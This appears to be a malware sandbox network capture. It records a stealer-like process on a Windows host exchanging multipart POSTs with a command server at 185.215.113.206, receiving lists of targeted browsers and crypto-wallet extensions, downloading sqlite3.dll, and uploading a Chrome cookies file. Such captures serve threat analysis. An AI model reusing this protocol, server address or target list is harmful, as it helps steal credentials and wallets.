Oct 29, 2024 20:34:53.554436922 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"browsers------IJEGDBGDBFIJKECBAKFB--
Oct 29, 2024 20:34:53.834343910 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 20:34:53.834460974 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 20:34:53.836306095 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"plugins------AFBFHDBKJEGHJJJKFIIJ--
Oct 29, 2024 20:34:54.132082939 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 20:34:54.132103920 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 29, 2024 20:34:54.132117033 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 29, 2024 20:34:54.132240057 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 29, 2024 20:34:54.132251978 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 29, 2024 20:34:54.132262945 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 29, 2024 20:34:54.134423018 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="message"fplugins------BAKKEGCAAECAAAKFBGIE--
Oct 29, 2024 20:34:54.414247036 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:54 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 20:34:54.436362982 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHI Host: 185.215.113.206 Content-Length: 6555 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 20:34:54.436438084 CET	6555	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 20:34:55.238318920 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:34:55.554560900 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 20:34:55.832608938 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:34:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 29, 2024 20:34:55.832626104 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 29, 2024 20:34:55.832636118 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 29, 2024 20:34:55.832652092 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49781	185.215.113.206	80	3340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 20:35:06.287290096 CET	629	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIID Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 4a 44 48 49 44 42 47 48 4a 4b 45 43 42 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="token"d0a83a98ba011ad5a80129bc91cf6287391ac063aff2e982e6dc3794087ffa6b0976dfa1------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHIJDHIDBGHJKECBFIIDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DHIJDHIDBGHJKECBFIID--
Oct 29, 2024 20:35:07.699999094 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 20:35:07.908351898 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 61 38 33 61 39 38 62 61 30 31 31 61 64 35 61 38 30 31 32 39 62 63 39 31 63 66 36 32 38 37 33 39 31 61 63 30 36 33 61 66 66 32 65 39 38 32 65 36 64 63 33 37 39 34 30 38 37 66 66 61 36 62 30 39 37 36 64 66 61 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; 